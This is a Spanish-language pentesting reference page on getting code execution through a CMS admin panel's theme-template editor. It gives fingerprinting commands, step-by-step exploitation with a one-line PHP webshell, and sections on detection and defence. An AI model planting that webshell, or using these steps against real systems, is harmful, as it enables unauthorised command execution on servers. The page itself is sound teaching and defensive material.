the_open_door
café
ESEN
← Volver al índice

PHP Template Injection (CMS)

Un panel de administración de un CMS que edita plantillas de tema (themes/*.tpl, templates/*.php) y luego las incluye vía include/require es RCE por diseño: cualquier <?php ?> dentro del contenido guardado se evalúa al renderizar la página que use esa plantilla. No es un fallo de una versión; es el propio editor del panel, así que la técnica es transversal a muchos CMS antiguos.

Requisitos

Acceso al panel de administración (credenciales por defecto, bruteforce dirigido con cewl, reutilización de credenciales o una vía previa) y un editor de temas/plantillas que el motor evalúe como PHP. Identificar el CMS y su versión orienta la ruta exacta:

whatweb http://<ip>            # fingerprint del CMS
curl -s http://<ip>/ | grep -Eio 'generator" content="[^"]+'   # meta generator

Explotación

Patrón habitual en Monstra, Anchor CMS, PHPFusion, CMS Made Simple y otros:

  1. Login como admin.
  2. Abrir el editor de plantillas del tema activo (?id=themes&action=edit_template&filename=<tema>, o el equivalente del CMS).
  3. Pegar la webshell en el content de la plantilla:
<?php system($_GET['cmd']); ?>
  1. Guardar (Save and Exit).
  2. Visitar la ruta que renderiza esa plantilla y añadir ?cmd=id.

La salida del comando aparece en la página renderizada. A partir de ahí se lanza una reverse shell estándar para estabilizar el acceso.

Matices. No confundir con SSTI (Jinja, Twig, etc.), donde el fallo está en un input del usuario que llega a un render_template_string sin ser admin. Aquí el atacante ya es admin del panel, así que el trabajo real suele ser llegar a ese panel; la ejecución, una vez dentro, es casi garantizada. Si el editor filtra <?php, se prueban etiquetas cortas (<?=) o el bypass de etiquetas PHP.

Cómo detectarlo. El abuso deja rastro en dos capas. En la aplicación, la modificación de un fichero de plantilla desde el panel (un log de auditoría del CMS, o un FIM que vea cambiar themes/*.tpl/.php con contenido que incluye system(/<?php) es la firma. En el servidor, la ejecución posterior aparece como el proceso web (www-data/apache) lanzando sh/id/bash como hijo, y peticiones a la plantilla con un parámetro ?cmd=. Un login de admin desde una IP nueva seguido de la edición de un tema es la cadena completa.

Defensa. Restringir el rol de administración a operadores muy concretos, exigir MFA en el panel, y separar el editor de plantillas de la ejecución (revisión previa antes de "publicar", o un motor con sandbox tipo Twig con autoescape). Mantener el CMS actualizado y quitar los editores de tema en producción cierra la vía.